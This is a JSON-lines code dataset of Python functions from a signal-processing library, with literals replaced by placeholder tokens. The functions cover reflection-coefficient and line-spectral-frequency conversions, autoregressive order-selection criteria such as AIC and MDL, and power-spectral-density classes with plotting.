{"signature": "def rc2poly(kr, r0=None):", "body": "<EOL>from .levinson import levup<EOL>p = len(kr)              <EOL>a = numpy.array([<NUM_LIT:1>, kr[<NUM_LIT:0>]])           <EOL>e = numpy.zeros(len(kr))<EOL>if r0 is None:<EOL><INDENT>e0 = <NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>e0 = r0<EOL><DEDENT>e[<NUM_LIT:0>] = e0 * (<NUM_LIT:1.> - numpy.conj(numpy.conjugate(kr[<NUM_LIT:0>])*kr[<NUM_LIT:0>]))<EOL>for k in range(<NUM_LIT:1>, p):<EOL><INDENT>[a, e[k]] = levup(a, kr[k], e[k-<NUM_LIT:1>])<EOL><DEDENT>efinal = e[-<NUM_LIT:1>]<EOL>return a, efinal<EOL>", "docstring": "convert reflection coefficients to prediction filter polynomial\n\n    :param k: reflection coefficients", "id": "f10925:m5"}
{"signature": "def rc2ac(k, R0):", "body": "[a,efinal] = rc2poly(k, R0)<EOL>R, u, kr, e = rlevinson(a, efinal)<EOL>return R<EOL>", "docstring": "Convert reflection coefficients to autocorrelation sequence.\n\n    :param k: reflection coefficients\n    :param R0: zero-lag autocorrelation\n    :returns: the autocorrelation sequence\n\n    .. seealso:: :func:`ac2rc`, :func:`poly2rc`, :func:`ac2poly`, :func:`poly2rc`, :func:`rc2poly`.", "id": "f10925:m6"}
{"signature": "def is2rc(inv_sin):", "body": "return numpy.sin(numpy.array(inv_sin)*numpy.pi/<NUM_LIT:2>)<EOL>", "docstring": "Convert inverse sine parameters to reflection coefficients.\n\n    :param inv_sin: inverse sine parameters\n    :return: reflection coefficients\n\n    .. seealso::  :func:`rc2is`, :func:`poly2rc`, :func:`ac2rc`, :func:`lar2rc`.\n\n    :Reference: J.R. Deller, J.G. Proakis, J.H.L. Hansen, \n        \"Discrete-Time Processing of Speech Signals\", Prentice Hall, Section 7.4.5.", "id": "f10925:m7"}
{"signature": "def rc2is(k):", "body": "assert numpy.isrealobj(k), '<STR_LIT>'<EOL>if max(numpy.abs(k)) >= <NUM_LIT:1>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>return (<NUM_LIT:2>/numpy.pi)*numpy.arcsin(k)<EOL>", "docstring": "Convert reflection coefficients to inverse sine parameters.\n\n    :param k: reflection coefficients\n    :return: inverse sine parameters\n\n    .. seealso:: :func:`is2rc`, :func:`rc2poly`, :func:`rc2acC`, :func:`rc2lar`.\n\n    Reference: J.R. Deller, J.G. Proakis, J.H.L. Hansen, \"Discrete-Time\n       Processing of Speech Signals\", Prentice Hall, Section 7.4.5.", "id": "f10925:m8"}
{"signature": "def rc2lar(k):", "body": "assert numpy.isrealobj(k), '<STR_LIT>'<EOL>if max(numpy.abs(k)) >= <NUM_LIT:1>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>return -<NUM_LIT:2> * numpy.arctanh(-numpy.array(k))<EOL>", "docstring": "Convert reflection coefficients to log area ratios.\n\n    :param k: reflection coefficients\n    :return: inverse sine parameters\n\n    The log area ratio is defined by G = log((1+k)/(1-k)) , where the K\n    parameter is the reflection coefficient.\n\n    .. seealso:: :func:`lar2rc`, :func:`rc2poly`, :func:`rc2ac`, :func:`rc2ic`.\n\n    :References:\n       [1] J. Makhoul, \"Linear Prediction: A Tutorial Review,\" Proc. IEEE, Vol.63, No.4, pp.561-580, Apr 1975.", "id": "f10925:m9"}
{"signature": "def lar2rc(g):", "body": "assert numpy.isrealobj(g), '<STR_LIT>'<EOL>return -numpy.tanh(-numpy.array(g)/<NUM_LIT:2>)<EOL>", "docstring": "Convert log area ratios to reflection coefficients.\n\n    :param g:  log area ratios\n    :returns: the reflection coefficients\n\n    .. seealso: :func:`rc2lar`, :func:`poly2rc`, :func:`ac2rc`, :func:`is2rc`.\n\n    :References:\n       [1] J. Makhoul, \"Linear Prediction: A Tutorial Review,\" Proc. IEEE,  Vol.63, No.4, pp.561-580, Apr 1975.", "id": "f10925:m10"}
{"signature": "def lsf2poly(lsf):", "body": "<EOL>lsf = numpy.array(lsf)<EOL>if max(lsf) > numpy.pi or min(lsf) < <NUM_LIT:0>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>p = len(lsf) <EOL>z  = numpy.exp(<NUM_LIT> * lsf)<EOL>rQ = z[<NUM_LIT:0>::<NUM_LIT:2>]<EOL>rP = z[<NUM_LIT:1>::<NUM_LIT:2>]<EOL>rQ = numpy.concatenate((rQ, rQ.conjugate()))<EOL>rP = numpy.concatenate((rP, rP.conjugate()))<EOL>Q  = numpy.poly(rQ);<EOL>P  = numpy.poly(rP);<EOL>if p%<NUM_LIT:2>:<EOL><INDENT>P1 = numpy.convolve(P, [<NUM_LIT:1>, <NUM_LIT:0>, -<NUM_LIT:1>])<EOL>Q1 = Q<EOL><DEDENT>else:<EOL><INDENT>P1 = numpy.convolve(P, [<NUM_LIT:1>, -<NUM_LIT:1>])<EOL>Q1 = numpy.convolve(Q, [<NUM_LIT:1>,  <NUM_LIT:1>])<EOL><DEDENT>a = <NUM_LIT> * (P1+Q1)<EOL>return a[<NUM_LIT:0>:-<NUM_LIT:1>:<NUM_LIT:1>]<EOL>", "docstring": "Convert line spectral frequencies to prediction filter coefficients\n\n    returns a vector a containing the prediction filter coefficients from a vector lsf of line spectral frequencies.\n\n    .. doctest::\n\n        >>> from spectrum import lsf2poly\n        >>> lsf = [0.7842 ,   1.5605  ,  1.8776 ,   1.8984,    2.3593]\n        >>> a = lsf2poly(lsf)\n\n    # array([  1.00000000e+00,   6.14837835e-01,   9.89884967e-01,\n    # 9.31594056e-05,   3.13713832e-03,  -8.12002261e-03 ])\n\n    .. seealso:: poly2lsf, rc2poly, ac2poly, rc2is", "id": "f10925:m11"}
{"signature": "def poly2lsf(a):", "body": "<EOL>a = numpy.array(a)<EOL>if a[<NUM_LIT:0>] != <NUM_LIT:1>:<EOL><INDENT>a/=a[<NUM_LIT:0>]<EOL><DEDENT>if max(numpy.abs(numpy.roots(a))) >= <NUM_LIT:1.0>:<EOL><INDENT>error('<STR_LIT>');<EOL><DEDENT>p  = len(a)-<NUM_LIT:1>   <EOL>a1 = numpy.concatenate((a, numpy.array([<NUM_LIT:0>])))<EOL>a2 = a1[-<NUM_LIT:1>::-<NUM_LIT:1>]<EOL>P1 = a1 - a2        <EOL>Q1 = a1 + a2        <EOL>if p%<NUM_LIT:2>: <EOL><INDENT>P, r = deconvolve(P1,[<NUM_LIT:1>, <NUM_LIT:0> ,-<NUM_LIT:1>])<EOL>Q = Q1<EOL><DEDENT>else:          <EOL><INDENT>P, r = deconvolve(P1, [<NUM_LIT:1>, -<NUM_LIT:1>])<EOL>Q, r = deconvolve(Q1, [<NUM_LIT:1>,  <NUM_LIT:1>])<EOL><DEDENT>rP  = numpy.roots(P)<EOL>rQ  = numpy.roots(Q)<EOL>aP  = numpy.angle(rP[<NUM_LIT:1>::<NUM_LIT:2>])<EOL>aQ  = numpy.angle(rQ[<NUM_LIT:1>::<NUM_LIT:2>])<EOL>lsf = sorted(numpy.concatenate((-aP,-aQ)))<EOL>return lsf<EOL>", "docstring": "Prediction polynomial to line spectral frequencies.\n\n    converts the prediction polynomial specified by A,\n    into the corresponding line spectral frequencies, LSF.\n    normalizes the prediction polynomial by A(1).\n\n    .. doctest::\n\n        >>> from spectrum import poly2lsf\n        >>> a = [1.0000,  0.6149, 0.9899, 0.0000 ,0.0031, -0.0082]\n        >>> lsf = poly2lsf(a)\n        >>> lsf =  array([0.7842, 1.5605, 1.8776, 1.8984, 2.3593])\n\n    .. seealso:: lsf2poly, poly2rc, poly2qc, rc2is", "id": "f10925:m12"}
{"signature": "def AIC(N, rho, k):", "body": "from numpy import log, array<EOL>res = N * log(array(rho)) + <NUM_LIT>* (array(k)+<NUM_LIT:1>)<EOL>return res<EOL>", "docstring": "r\"\"\"Akaike Information Criterion\n\n    :param rho: rho at order k\n    :param N: sample size\n    :param k: AR order.\n\n    If k is the AR order and N the size of the sample, then Akaike criterion is\n\n    .. math:: AIC(k) = \\log(\\rho_k) + 2\\frac{k+1}{N}\n\n    ::\n\n        AIC(64, [0.5,0.3,0.2], [1,2,3])\n\n    :validation: double checked versus octave.", "id": "f10926:m0"}
{"signature": "def AICc(N, rho, k, norm=True):", "body": "from numpy import log, array<EOL>p = k  <EOL>res = log(rho) + <NUM_LIT> * (p+<NUM_LIT:1>) / (N-p-<NUM_LIT:2>)<EOL>return res<EOL>", "docstring": "r\"\"\"corrected Akaike information criterion\n\n    .. math:: AICc(k) = log(\\rho_k) + 2 \\frac{k+1}{N-k-2}\n\n\n    :validation: double checked versus octave.", "id": "f10926:m1"}
{"signature": "def KIC(N, rho, k):", "body": "from numpy import log, array<EOL>res = log(rho) + <NUM_LIT> * (k+<NUM_LIT:1.>) /float(N)<EOL>return res<EOL>", "docstring": "r\"\"\"Kullback information criterion\n\n    .. math:: KIC(k) = log(\\rho_k) + 3 \\frac{k+1}{N}\n\n    :validation: double checked versus octave.", "id": "f10926:m2"}
{"signature": "def AKICc(N, rho, k):", "body": "from numpy import log, array<EOL>p = k<EOL>res = log(rho) + p/N/(N-p) + (<NUM_LIT>-(p+<NUM_LIT>)/N) * (p+<NUM_LIT:1.>) / (N-p-<NUM_LIT>)<EOL>return res<EOL>", "docstring": "r\"\"\"approximate corrected Kullback information\n\n    .. math:: AKICc(k) = log(rho_k) + \\frac{p}{N*(N-k)} + (3-\\frac{k+2}{N})*\\frac{k+1}{N-k-2}", "id": "f10926:m3"}
{"signature": "def FPE(N,rho, k=None):", "body": "<EOL>fpe = rho * (N + k + <NUM_LIT:1.>) / (N- k -<NUM_LIT:1>)<EOL>return fpe<EOL>", "docstring": "r\"\"\"Final prediction error criterion\n\n    .. math:: FPE(k) = \\frac{N + k + 1}{N - k - 1} \\rho_k\n\n    :validation: double checked versus octave.", "id": "f10926:m4"}
{"signature": "def MDL(N, rho, k):", "body": "from numpy import log<EOL>mdl = N* log(rho) + k * log(N)<EOL>return mdl<EOL>", "docstring": "r\"\"\"Minimum Description Length\n\n    .. math:: MDL(k) = N log \\rho_k + p \\log N\n\n    :validation: results", "id": "f10926:m5"}
{"signature": "def CAT(N, rho, k):", "body": "from numpy import zeros, arange<EOL>cat = zeros(len(rho))<EOL>for p in arange(<NUM_LIT:1>, len(rho)+<NUM_LIT:1>):<EOL><INDENT>rho_p = float(N)/(N-p)*rho[p-<NUM_LIT:1>]<EOL>s = <NUM_LIT:0><EOL>for j in range(<NUM_LIT:1>, p+<NUM_LIT:1>):<EOL><INDENT>rho_j = float(N)/(N-j)*rho[j-<NUM_LIT:1>]<EOL>s = s + <NUM_LIT:1.>/rho_j<EOL><DEDENT>cat[p-<NUM_LIT:1>] = s/float(N) - <NUM_LIT:1.>/rho_p<EOL><DEDENT>return cat<EOL>", "docstring": "r\"\"\"Criterion Autoregressive Transfer Function :\n\n    .. math::  CAT(k) = \\frac{1}{N} \\sum_{i=1}^k \\frac{1}{\\rho_i} - \\frac{\\rho_i}{\\rho_k}\n\n    .. todo:: validation", "id": "f10926:m6"}
{"signature": "def aic_eigen(s, N):", "body": "import numpy as np<EOL>kaic = []<EOL>n = len(s)<EOL>for k in range(<NUM_LIT:0>, n-<NUM_LIT:1>):<EOL><INDENT>ak = <NUM_LIT:1.>/(n-k) * np.sum(s[k+<NUM_LIT:1>:])<EOL>gk = np.prod(s[k+<NUM_LIT:1>:]**(<NUM_LIT:1.>/(n-k)))<EOL>kaic.append( -<NUM_LIT>*(n-k)*N * np.log(gk/ak) + <NUM_LIT>*k*(<NUM_LIT>*n-k))<EOL><DEDENT>return kaic<EOL>", "docstring": "r\"\"\"AIC order-selection using eigen values\n\n    :param s: a list of `p` sorted eigen values\n    :param N: the size of the input data. To be defined precisely.\n\n    :return:\n        * an array containing the AIC values\n\n    Given :math:`n` sorted eigen values :math:`\\lambda_i` with\n    :math:`0 <= i < n`, the proposed criterion from Wax and Kailath (1985)\n    is:\n\n    .. math:: AIC(k) = -2(n-k)N \\ln \\frac{g(k)}{a(k)} + 2k(2n-k)\n\n    where the arithmetic sum :math:`a(k)` is:\n\n    .. math:: a(k) = \\sum_{i=k+1}^{n}\\lambda_i\n\n    and the geometric sum :math:`g(k)` is:\n\n    .. math:: g(k) = \\prod_{i=k+1}^{n} \\lambda_i^{-(n-k)}\n\n    The number of relevant sinusoids in the signal subspace is determined by\n    selecting the minimum of `AIC`.\n\n    .. seealso:: :func:`~spectrum.eigenfreq.eigen`\n    .. todo:: define precisely the input parameter N. Should be the input\n       data length but when using correlation matrix (SVD), I suspect it\n       should be the length of the correlation matrix rather than the\n       original data.\n\n    :References:\n        * [Marple]_ Chap 13,\n        * [Wax]_", "id": "f10926:m7"}
{"signature": "def mdl_eigen(s, N):", "body": "import numpy as np<EOL>kmdl = []<EOL>n = len(s)<EOL>for k in range(<NUM_LIT:0>, n-<NUM_LIT:1>):<EOL><INDENT>ak = <NUM_LIT:1.>/(n-k) * np.sum(s[k+<NUM_LIT:1>:])<EOL>gk = np.prod(s[k+<NUM_LIT:1>:]**(<NUM_LIT:1.>/(n-k)))<EOL>kmdl.append( -(n-k)*N * np.log(gk/ak) + <NUM_LIT:0.5>*k*(<NUM_LIT>*n-k)*np.log(N))<EOL><DEDENT>return kmdl<EOL>", "docstring": "r\"\"\"MDL order-selection using eigen values\n\n    :param s: a list of `p` sorted eigen values\n    :param N: the size of the input data. To be defined precisely.\n\n    :return:\n        * an array containing the AIC values\n\n    .. math:: MDL(k) = (n-k)N \\ln \\frac{g(k)}{a(k)} + 0.5k(2n-k) log(N)\n\n    .. seealso:: :func:`aic_eigen` for details\n\n    :References:\n        * [Marple]_ Chap 13,\n        * [Wax]_", "id": "f10926:m8"}
{"signature": "def __init__(self, name, N):", "body": "<EOL>self.__name = None<EOL>self.name = name<EOL>self.__N = N<EOL>self.__rho = <NUM_LIT:0><EOL>self.__k = None<EOL>self.__old_data = None<EOL>self.__data = None<EOL>self.__norm = True<EOL>", "docstring": "Create a criteria object\n\n        :param name: a string or list of strings containing valid criteria\n            method's name\n        :param int N: size of the data sample.", "id": "f10926:c0:m0"}
{"signature": "def __call__(self, rho=None, k=None, N=None, norm=True):", "body": "self.__norm = norm<EOL>if N is not None:<EOL><INDENT>self.N = N<EOL><DEDENT>if rho is not None:<EOL><INDENT>self.rho = rho<EOL><DEDENT>if k is not None:<EOL><INDENT>self.__k = k<EOL><DEDENT>self.__norm = norm<EOL>f = eval(self.name)<EOL>self.data = f(self.N, self.rho, self.k)<EOL>if self.old_data is not None and self.data is not None:<EOL><INDENT>if self.data > self.old_data:<EOL><INDENT>return False<EOL><DEDENT>else:<EOL><INDENT>return True<EOL><DEDENT><DEDENT>return True<EOL>", "docstring": "Call the criteria function correspondign to :attr:`name`.", "id": "f10926:c0:m11"}
{"signature": "def __init__(self, N, sampling=<NUM_LIT:1.>):", "body": "self.__N = N<EOL>self.__sampling = sampling<EOL>self.__df = None<EOL>self._setN(N)<EOL>self._setsampling(sampling)<EOL>", "docstring": ".. rubric:: **Constructor**\n\n        :param int N: the data length\n        :param float sampling: sampling frequency of the input :attr:`data`.\n\n\n        .. rubric:: Attributes:\n\n        From the input parameters, read/write attributes are set:\n\n            * :attr:`N`, the data length,\n            * :attr:`sampling`, the sampling frequency.\n\n        Additionally, the following read-only attribute is available:\n\n            * :attr:`df`, the frequency step computed from :attr:`N` and\n              :attr:`sampling`.", "id": "f10927:c0:m0"}
{"signature": "def centerdc_gen(self):", "body": "for a in range(<NUM_LIT:0>, self.N):<EOL><INDENT>yield (a-self.N/<NUM_LIT:2>) * self.df<EOL><DEDENT>", "docstring": "Return the centered frequency range as a generator.\n\n        ::\n\n            >>> print(list(Range(8).centerdc_gen()))\n            [-0.5, -0.375, -0.25, -0.125, 0.0, 0.125, 0.25, 0.375]", "id": "f10927:c0:m6"}
{"signature": "def twosided_gen(self):", "body": "for a in range(<NUM_LIT:0>, self.N):<EOL><INDENT>yield a * self.df<EOL><DEDENT>", "docstring": "Returns the twosided frequency range as a generator\n\n        ::\n\n            >>> print(list(Range(8).centerdc_gen()))\n            [0, 0.125, 0.25, 0.375, 0.5, 0.625, 0.75, 0.875]", "id": "f10927:c0:m7"}
{"signature": "def onesided_gen(self):", "body": "if self.N % <NUM_LIT:2> == <NUM_LIT:0>:<EOL><INDENT>for n in range(<NUM_LIT:0>, self.N//<NUM_LIT:2> + <NUM_LIT:1>):<EOL><INDENT>yield n * self.df<EOL><DEDENT><DEDENT>else:<EOL><INDENT>for n in range(<NUM_LIT:0>, (self.N+<NUM_LIT:1>)//<NUM_LIT:2>):<EOL><INDENT>yield n * self.df<EOL><DEDENT><DEDENT>", "docstring": "Return the one-sided frequency range as a generator.\n\n        If :attr:`N` is even, the length is N/2 + 1.\n        If :attr:`N` is odd, the length is (N+1)/2.\n\n        ::\n\n            >>> print(list(Range(8).onesided()))\n            [0.0, 0.125, 0.25, 0.375, 0.5]\n            >>> print(list(Range(9).onesided()))\n            [0.0, 0.1111, 0.2222, 0.3333, 0.4444]", "id": "f10927:c0:m8"}
{"signature": "def onesided(self):", "body": "return list(self.onesided_gen())<EOL>", "docstring": "Return the one-sided frequency range as a list (see\n        :meth:`onesided_gen` for details).", "id": "f10927:c0:m9"}
{"signature": "def twosided(self):", "body": "return list(self.twosided_gen())<EOL>", "docstring": "Return the two-sided frequency range as a list (see\n        :meth:`twosided_gen` for details).", "id": "f10927:c0:m10"}
{"signature": "def centerdc(self):", "body": "return list(self.centerdc_gen())<EOL>", "docstring": "Return the two-sided frequency range as a list (see\n        :meth:`centerdc_gen` for details).", "id": "f10927:c0:m11"}
{"signature": "def __init__(self, data, data_y=None, sampling=<NUM_LIT:1.>,<EOL>detrend=None, scale_by_freq=True, NFFT=None):", "body": "<EOL>self.__data = None<EOL>self.__data_y = None<EOL>self.__sampling = None<EOL>self.__detrend = None<EOL>self.__scale_by_freq = None<EOL>self.__sides = None<EOL>self.__N = None<EOL>self.__NFFT = None<EOL>self.__df = None<EOL>self.__datatype = None<EOL>self.__psd = None<EOL>self.__method = None<EOL>self.data = data<EOL>if data_y is not None:<EOL><INDENT>self.data_y = data_y<EOL><DEDENT>self.sampling = sampling<EOL>self.sides = '<STR_LIT:default>'<EOL>self._range = Range(self.__data.size, sampling) <EOL>self.modified = True<EOL>self.sampling = sampling<EOL>self.scale_by_freq = scale_by_freq<EOL>self.NFFT = NFFT<EOL>self.method = self.__class__<EOL>", "docstring": "**Constructor**\n\n        .. rubric:: Attributes:\n\n        From the input parameters, the following attributes are set:\n\n          * :attr:`data` (updates :attr:`N`, :attr:`df`, :attr:`datatype`)\n          * :attr:`data_y` used for cross PSD only (correlogram)\n          * :attr:`detrend`\n          * :attr:`sampling` (updates :attr:`df`)\n          * :attr:`scale_by_freq`\n          * :attr:`NFFT` (reset :attr:`sides`, :attr:`df`)\n\n        The following read-only attributes are set during the initialisation:\n\n          * :attr:`datatype`\n          * :attr:`df`\n          * :attr:`N`\n\n        And finally, additional read-write attributes are available:\n\n          * :attr:`psd`: used to store the PSD data array, which size depends\n            on :attr:`sides` i.e., one-sided for real data and two-sided for\n            the complex data.\n          * :attr:`sides`: if set, changed the :attr:`psd`.", "id": "f10927:c1:m0"}
{"signature": "def frequencies(self, sides=None):", "body": "<EOL>if sides is None:<EOL><INDENT>sides = self.sides<EOL><DEDENT>if sides not in self._sides_choices:<EOL><INDENT>raise errors.SpectrumChoiceError(sides, self._sides_choices)<EOL><DEDENT>if sides == '<STR_LIT>':<EOL><INDENT>return self._range.onesided()<EOL><DEDENT>if sides == '<STR_LIT>':<EOL><INDENT>return self._range.twosided()<EOL><DEDENT>if sides == '<STR_LIT>':<EOL><INDENT>return self._range.centerdc()<EOL><DEDENT>", "docstring": "Return the frequency vector according to :attr:`sides`", "id": "f10927:c1:m26"}
{"signature": "def get_converted_psd(self, sides):", "body": "if sides == self.sides:<EOL><INDENT>return self.__psd<EOL><DEDENT>if self.datatype == '<STR_LIT>':<EOL><INDENT>assert sides != '<STR_LIT>',\"<STR_LIT>\"<EOL><DEDENT>if self.sides == '<STR_LIT>':<EOL><INDENT>logging.debug('<STR_LIT>')<EOL>if sides == '<STR_LIT>':<EOL><INDENT>logging.debug('<STR_LIT>')<EOL>newpsd = numpy.concatenate((self.psd[<NUM_LIT:0>:-<NUM_LIT:1>]/<NUM_LIT>, list(reversed(self.psd[<NUM_LIT:0>:-<NUM_LIT:1>]/<NUM_LIT>))))<EOL>newpsd[-<NUM_LIT:1>] = self.psd[-<NUM_LIT:1>]<EOL>newpsd[<NUM_LIT:0>] *= <NUM_LIT><EOL><DEDENT>elif sides == '<STR_LIT>':<EOL><INDENT>logging.debug('<STR_LIT>')<EOL>P0 = self.psd[<NUM_LIT:0>]<EOL>P1 = self.psd[-<NUM_LIT:1>]<EOL>newpsd = numpy.concatenate((self.psd[-<NUM_LIT:1>:<NUM_LIT:0>:-<NUM_LIT:1>]/<NUM_LIT>, self.psd[<NUM_LIT:0>:-<NUM_LIT:1>]/<NUM_LIT>))<EOL>newpsd[<NUM_LIT:0>] = P1<EOL><DEDENT><DEDENT>elif self.sides == '<STR_LIT>':<EOL><INDENT>logging.debug('<STR_LIT>')<EOL>if sides == '<STR_LIT>':<EOL><INDENT>logging.debug('<STR_LIT>')<EOL>midN = (len(self.psd)-<NUM_LIT:2>) / <NUM_LIT:2><EOL>newpsd = numpy.array(self.psd[<NUM_LIT:0>:int(midN)+<NUM_LIT:2>]*<NUM_LIT:2>)<EOL>newpsd[<NUM_LIT:0>] /= <NUM_LIT:2><EOL>newpsd[-<NUM_LIT:1>] = self.psd[-<NUM_LIT:1>]<EOL><DEDENT>elif sides == '<STR_LIT>':<EOL><INDENT>newpsd = stools.twosided_2_centerdc(self.psd)<EOL><DEDENT><DEDENT>elif self.sides == '<STR_LIT>': <EOL><INDENT>logging.debug('<STR_LIT>')<EOL>if sides == '<STR_LIT>':<EOL><INDENT>logging.debug('<STR_LIT>')<EOL>midN = int(len(self.psd) / <NUM_LIT:2>)<EOL>P1 = self.psd[<NUM_LIT:0>]<EOL>newpsd = numpy.append(self.psd[midN:]*<NUM_LIT:2>, P1)<EOL><DEDENT>elif sides == '<STR_LIT>':<EOL><INDENT>newpsd = stools.centerdc_2_twosided(self.psd)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>return newpsd<EOL>", "docstring": "This function returns the PSD in the **sides** format\n\n        :param str sides: the PSD format in ['onesided', 'twosided', 'centerdc']\n        :return: the expected PSD.\n\n        .. doctest::\n\n            from spectrum import *\n            p = pcovar(marple_data, 15)\n            centerdc_psd = p.get_converted_psd('centerdc')\n\n        .. note:: this function does not change the object, in particular, it\n            does not change the :attr:`psd` attribute. If you want to change\n            the psd on the fly, change the attribute :attr:`sides`.", "id": "f10927:c1:m27"}
{"signature": "def plot(self, filename=None, norm=False, ylim=None,<EOL>sides=None,  **kargs):", "body": "import pylab<EOL>from pylab import ylim as plt_ylim<EOL>_ = self.psd<EOL>if sides is not None:<EOL><INDENT>if sides not in self._sides_choices:<EOL><INDENT>raise errors.SpectrumChoiceError(sides, self._sides_choices)<EOL><DEDENT><DEDENT>if sides is None or sides == self.sides:<EOL><INDENT>frequencies = self.frequencies()<EOL>psd = self.psd<EOL>sides = self.sides<EOL><DEDENT>elif sides is not None:<EOL><INDENT>if self.datatype == '<STR_LIT>':<EOL><INDENT>if sides == '<STR_LIT>':<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>logging.debug(\"<STR_LIT>\")<EOL>frequencies = self.frequencies(sides=sides)<EOL>psd = self.get_converted_psd(sides)<EOL><DEDENT>if len(psd) != len(frequencies):<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % (len(psd), len(frequencies)))<EOL><DEDENT>if '<STR_LIT>' in list(kargs.keys()):<EOL><INDENT>save_ax = pylab.gca()<EOL>pylab.sca(kargs['<STR_LIT>'])<EOL>rollback = True<EOL>del kargs['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>rollback = False<EOL><DEDENT>if norm:<EOL><INDENT>pylab.plot(frequencies, <NUM_LIT:10> * stools.log10(psd/max(psd)),  **kargs)<EOL><DEDENT>else:<EOL><INDENT>pylab.plot(frequencies, <NUM_LIT:10> * stools.log10(psd),**kargs)<EOL><DEDENT>pylab.xlabel('<STR_LIT>')<EOL>pylab.ylabel('<STR_LIT>')<EOL>pylab.grid(True)<EOL>if ylim:<EOL><INDENT>plt_ylim(ylim)<EOL><DEDENT>if sides == '<STR_LIT>':<EOL><INDENT>pylab.xlim(<NUM_LIT:0>, self.sampling/<NUM_LIT>)<EOL><DEDENT>elif sides == '<STR_LIT>':<EOL><INDENT>pylab.xlim(<NUM_LIT:0>, self.sampling)<EOL><DEDENT>elif sides == '<STR_LIT>':<EOL><INDENT>pylab.xlim(-self.sampling/<NUM_LIT>, self.sampling/<NUM_LIT>)<EOL><DEDENT>if filename:<EOL><INDENT>pylab.savefig(filename)<EOL><DEDENT>if rollback:<EOL><INDENT>pylab.sca(save_ax)<EOL><DEDENT>del psd, frequencies<EOL>", "docstring": "a simple plotting routine to plot the PSD versus frequency.\n\n        :param str filename: save the figure into a file\n        :param norm: False by default. If True, the PSD is normalised.\n        :param ylim: readjust the y range .\n        :param sides: if not provided, :attr:`sides` is used. See :attr:`sides`\n            for details.\n        :param kargs: any optional argument accepted by :func:`pylab.plot`.\n\n        .. plot::\n            :width: 80%\n            :include-source:\n\n            from spectrum import *\n            p = Periodogram(marple_data)\n            p.plot(norm=True, marker='o')", "id": "f10927:c1:m28"}
{"signature": "def power(self):", "body": "if self.scale_by_freq == False:<EOL><INDENT>return sum(self.psd) * len(self.psd)<EOL><DEDENT>else:<EOL><INDENT>return sum(self.psd) * self.df/(<NUM_LIT>*numpy.pi)<EOL><DEDENT>", "docstring": "r\"\"\"Return the power contained in the PSD\n\n        if scale_by_freq is False, the power is:\n\n        .. math:: P = N \\sum_{k=1}^{N} P_{xx}(k)\n\n        else, it is\n\n        .. math:: P =  \\sum_{k=1}^{N} P_{xx}(k) \\frac{df}{2\\pi}\n\n        .. todo:: check these equations", "id": "f10927:c1:m29"}
{"signature": "def __init__(self, data, sampling=<NUM_LIT:1.>, ar_order=None, ma_order=None,<EOL>lag=-<NUM_LIT:1>, NFFT=None, detrend=None, scale_by_freq=True):", "body": "super(ParametricSpectrum, self).__init__(data, sampling=sampling,<EOL>NFFT=NFFT,<EOL>scale_by_freq=scale_by_freq,<EOL>detrend=detrend)<EOL>if ar_order is None and ma_order is None:<EOL><INDENT>raise errors.SpectrumARMAError<EOL><DEDENT>self.__ar_order = ar_order<EOL>self.__ma_order = ma_order<EOL>self.ar_order = ar_order<EOL>self.ma_order = ma_order<EOL>self.lag = lag<EOL>self.__ar = None<EOL>self.__ma = None<EOL>self.__reflection = None<EOL>self.__rho = None<EOL>", "docstring": "**Constructor**\n\n        See the class documentation for the parameters.\n\n        .. rubric:: Additional attributes to those inherited\n            from :class:`Spectrum`:\n\n        * :attr:`ar_order`, the ar order of the PSD estimates\n        * :attr:`ma_order`, the ar order of the PSD estimates", "id": "f10927:c2:m0"}
{"signature": "def __init__(self, data, sampling=<NUM_LIT:1.>,<EOL>window='<STR_LIT>', NFFT=None, detrend=None,<EOL>scale_by_freq=True, lag=-<NUM_LIT:1>):", "body": "super(FourierSpectrum, self).__init__(data,<EOL>sampling=sampling, detrend=detrend,<EOL>scale_by_freq=scale_by_freq, NFFT=NFFT)<EOL>self.__window = None<EOL>self.__lag = None<EOL>self.lag = lag<EOL>self.window = window<EOL>", "docstring": "**Constructor**\n\n        See the class documentation for the parameters.\n\n        .. rubric:: Additional attributes to those inherited from\n\n        :class:`Spectrum` are:\n\n        * :attr:`lag`, a lag used to compute the autocorrelation\n        * :attr:`window`, the tapering window to be used", "id": "f10927:c3:m0"}
{"signature": "def periodogram(self):", "body": "from .periodogram import speriodogram<EOL>psd = speriodogram(self.data, window=self.window, sampling=self.sampling,<EOL>NFFT=self.NFFT, scale_by_freq=self.scale_by_freq,<EOL>detrend=self.detrend)<EOL>self.psd = psd<EOL>", "docstring": "An alias to :class:`~spectrum.periodogram.Periodogram`\n\n        The parameters are extracted from the attributes. Relevant attributes\n        ares :attr:`window`, attr:`sampling`, attr:`NFFT`, attr:`scale_by_freq`,\n        :attr:`detrend`.\n\n        .. plot::\n            :width: 80%\n            :include-source:\n\n            from spectrum import datasets\n            from spectrum import FourierSpectrum\n            s = FourierSpectrum(datasets.data_cosine(), sampling=1024, NFFT=512)\n            s.periodogram()\n            s.plot()", "id": "f10927:c3:m6"}
